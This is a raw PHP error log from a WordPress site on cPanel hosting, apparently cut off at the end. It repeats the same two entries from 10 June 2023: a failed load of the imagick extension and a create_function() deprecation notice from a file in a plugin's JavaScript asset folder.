/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:33:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:34:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:34:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:34:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:34:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:34:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:34:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:35:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:35:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:35:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:35:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:36:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:36:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:36:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:36:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:36:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:36:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:37:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:37:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:37:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:37:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:37:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:37:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:38:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:38:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:39:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:39:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:39:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:39:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:40:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:40:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:41:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:41:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:41:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:41:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:42:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:42:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:42:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:42:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:42:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:42:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:43:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:43:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:43:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:43:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:43:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:43:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:43:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:43:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:44:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:44:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:44:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:44:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:44:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:44:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:45:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:45:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:50:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:50:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 13:51:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 13:51:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 14:52:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 14:52:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 15:53:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 15:53:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 16:54:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 16:54:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 17:55:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 17:55:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:29:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:29:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:30:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:30:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:31:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:31:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:31:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:31:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:32:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:32:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:32:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:32:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:33:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:33:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:33:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:33:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:33:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:33:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:33:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:33:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:34:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:34:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:34:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:34:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:34:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so 